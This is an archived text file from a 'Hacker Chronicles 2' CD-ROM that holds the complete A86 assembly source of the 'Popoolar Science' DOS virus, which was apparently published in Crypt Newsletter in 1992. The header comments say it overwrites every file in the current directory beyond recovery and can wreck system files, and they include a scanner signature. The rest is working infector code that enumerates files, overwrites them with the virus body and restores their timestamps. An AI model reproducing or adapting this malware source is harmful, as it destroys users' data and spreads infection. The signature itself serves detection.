home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hacker Chronicles 2
/
HACKER2.BIN
/
289.POPSCI.A86
< prev
next >
Wrap
Text File
|
1992-12-29
|
4KB
|
123 lines
;Popoolar Science virus - a very simple overwriting infector
;published in Crypt Newsletter 11, Dec. 1992. Edited by Urnst Kouch
;
;Popoolar Science is an indiscriminate, primitive over-writing
;virus which will attack all files in the current directory.
;Data overwritten by the virus is unrecoverable. Programs overwritten
;by Popoolar Science are infectious if their size does not exceed the
;64k boundary for .COM programs. .EXE's larger than this will not
;spread the virus; DOS will issue an "out of memory" message when the
;ruined program is loaded. Ruined programs of any type can only be erased
;from the disk to curb infection.
;
;If Popoolar Science is called into the root directory, the system files
;will be destroyed, resulting in a machine hang on start-up.
;
;Popoolar Science does not look for a ident-marker in infected files - it
;merely overwrites all files in the current directory repeatedly. Indeed,
;there seems no need for a self-recognition routine in such a simple
;program of limited aims.
;
;
;Popoolar Science will assemble directly to a .COMfile using Isaacson's
;A86 assembler. Use of a MASM/TASM compatible assembler will require
;addition of a set of declarative statements.
;
;Virus signature suitable for loading into VIRSCAN.DAT files of TBScan,
;McAfee's SCAN and/or F-PROT 2.0x:
;[POP]
;DE B8 01 43 33 C9 8D 54 1E CD 21 B8 02 3D CD 21
nosewheel:
jmp virubegin ; get going
virubegin: push cs
pop ds
mov dx,offset msg
mov ah,09h ; Display subscription
int 21h ; endorsement for Popular
; Science magazine.
mov dx,offset file_mask ; load filemask for "*.*"
call find_n_infect ; infect a file, no need for
; an error routine - if no
; files found, virus will
; rewrite itself.
mov ax,04C00h ; exit to DOS
int 021h
find_n_infect:
push bp
mov ah,02Fh ; get DTA
int 021h
push bx ; Save old DTA
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save filemask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; search for first host file
mov cx,00100111b ; CX holds all attributes
pop dx ; Restore file mask
findfilez: int 021h
jc reset ; reset DTA and get ready to exit
call write2file ; Infect file!
mov ah,04Fh
jmp short findfilez ; find another host file
reset: mov sp,bp
mov ah,01Ah
pop dx ; Retrieve old DTA address
int 021h
pop bp
ret
write2file: ; subroutine, writes virus over beginning of all files
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx
mov ax,04301h ; set file attributes
xor cx,cx
lea dx,[si + 01Eh] ; DX points to target handle
int 021h
mov ax,03D02h ; open file, read/write
int 021h ; do it!
xchg bx,ax ; put handle in BX
mov ah,040h ; write to file, start at beginning
mov cx,tailhook - nosewheel ; CX = virus length
mov dx,offset nosewheel ; DX points to start of virus
int 021h ; do it now!
mov ax,05701h
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h ; restore them
mov ah,3Eh ; close file
int 021h
exit: ; exit, dummeh!
ret
file_mask db "*.*",0 ; Filemask for all files
msg db 'PopooLar ScIencE RoolZ!$' ;Popular Science mag message
tailhook: